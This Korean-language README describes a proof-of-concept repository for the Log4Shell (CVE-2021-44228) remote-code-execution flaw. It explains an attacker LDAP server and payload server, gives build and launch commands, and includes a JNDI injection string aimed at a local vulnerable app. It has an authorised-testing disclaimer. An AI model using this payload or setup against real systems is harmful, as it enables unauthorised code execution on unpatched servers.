
Log4Shell (CVE-2021-44228)에 대한 원격 코드 실행 PoC
이 저장소는 log4j를 포함하는 취약한 애플리케이션에 사용자 정의 익스플로잇을 로드하는 공격 서버 구현을 제공하여 보안 연구자들이 원격 코드 실행을 실험할 수 있도록 합니다.
⚠️ 이 도구는 자체 평가를 위한 것이며 승인된 사람이나 연구자만 사용해야 합니다. 명시적 허가 또는 권한이 있는 시스템에서만 테스트해야 합니다. 취약한 애플리케이션이나 라이브러리를 발견한 경우, 책임 있는 공개를 수행해야 합니다.
CVE-2021-44228은 로그에 JNDI LDAP 문자열을 주입하여 Log4j가 추가 정보를 찾기 위해 지정된 LDAP 서버에 연결하도록 유도합니다. 악의적인 시나리오에서 LDAP 서버는 피해자 시스템에 코드를 반환하여 메모리에서 자동으로 실행되게 합니다.
저장소에는 두 개의 하위 프로젝트가 있습니다. attacker-server 프로젝트에는 두 개의 스레드 서버 소스 코드가 포함되어 있습니다. 첫 번째는 LDAP 객체에 대한 초기 요청을 수신하는 LDAP 프록시입니다. 두 번째 서버는 Exploit.java에 있는 익스플로잇을 취약한 애플리케이션에 제공하는 페이로드 서버입니다.
프로젝트 루트에서:
mvn clean install
서버와 취약한 앱이 모두 준비되어야 합니다.
서버를 로드하려면 다음을 실행합니다:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
RCE를 트리거하려면 다음을 실행합니다:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Exploit.java를 확장하여 필요에 따라 악성 페이로드를 변경할 수 있습니다.